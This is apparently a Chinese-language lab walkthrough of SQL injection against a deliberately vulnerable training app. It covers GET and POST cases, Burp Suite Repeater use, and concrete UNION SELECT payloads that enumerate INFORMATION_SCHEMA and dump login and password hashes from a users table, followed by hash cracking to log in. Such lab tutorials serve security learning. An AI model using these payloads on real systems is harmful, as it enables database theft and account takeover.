GET 型注入攻擊
將自己的環(huán)境啟動起來,選擇SQL Injection (GET/Search) ,然后點擊hack,跳轉(zhuǎn)到指定的頁面,跳轉(zhuǎn)到頁面之后,點擊查詢,可以輸出所有的數(shù)據(jù):

image.png
在搜素框中,輸入2‘,輸出頁面為錯誤:

image.png
在搜索框中輸入‘union select 1,2 --’,輸出的頁面為:

image.png
從返回的提示為:字段數(shù)量不對,通過增加字段數(shù)量來進行請求,保證數(shù)據(jù)可以正常返回,
輸入為:'union select 1,2,3,4,5,6,7 --',

image.png
在輸入框中輸入:union select 1,user(),database(),table_name,version(),6,7 from
INFORMATION_SCHEMA.tables where table_schema=database() -- ' ,最后的這個單引號前面需要留一個空格,或者使用union select 1,user(),database(),table_name,version(),6,7 from
INFORMATION_SCHEMA.tables where table_schema=database() --+'這種語句,查看輸出的數(shù)據(jù):

image.png
可以看到輸出的用戶名、數(shù)據(jù)庫名字、數(shù)據(jù)庫版本、數(shù)據(jù)表等信息,通過輸出信息,需要找到用戶的,應該就是users表,在輸入框中輸入:
union select 1,column_name,3,4,5,6,7 from
INFORMATION_SCHEMA.columns where table_name='users' --+'
可以看到輸出為:

image.png
可以看到users這個表中的字段,選擇id,login,password作為輸出的信息,填寫信息如下:
union select 1,id,login,password,5,6,7 from users --+'

image.png
可以通過反向解析(md5),來把密碼解析,將密碼解析出來。在解析出密碼之后,嘗試登錄,看是否拿到用戶的賬號信息。
POST 型注入攻擊
選擇SQL Injection (POST/Select) ,進入頁面,打開Burp Suite,可以根據(jù)自己的電腦,選擇相應的版本進行下載,需要進行設(shè)置:

image.png
設(shè)置完成之后,打開web頁面:

image.png
在瀏覽器中輸入地址,跳轉(zhuǎn)到指定頁面,開始監(jiān)聽請求:

image.png
將請求參數(shù)轉(zhuǎn)到repeater模塊,然后進行驗證是否有漏洞,在參數(shù)中,輸入movie=1'&action=go,通過返回的數(shù)據(jù)為sql的異常提示,表示存在漏洞,可以進行嘗試攻擊:

image.png
修改請求參數(shù)之后,輸入的內(nèi)容:movie=1 union select 1,2,3,4,5,6,7 from information_schema.tables -- &action=go,可以看到返回是否正確:

image.png
輸入sql語句,查詢表的相關(guān)信息:

image.png
通過輸入下面的語句movie=11 union select 1,group_concat(table_name separator ';'),3,4,5,6,7 from information_schema.tables where table_schema=database() -- &action=go,可以返回所有的數(shù)據(jù)表信息:

image.png
通過返回的表信息,也識別到用戶應該是存儲在users表里面,做下面的嘗試,
movie=11 union select 1,group_concat(id separator ';'),group_concat(login separator ';'),group_concat(password separator ';'),5,6,7 from users -- &action=go

image.png
可以將返回的用戶名和密碼進行解密,然后驗證登錄。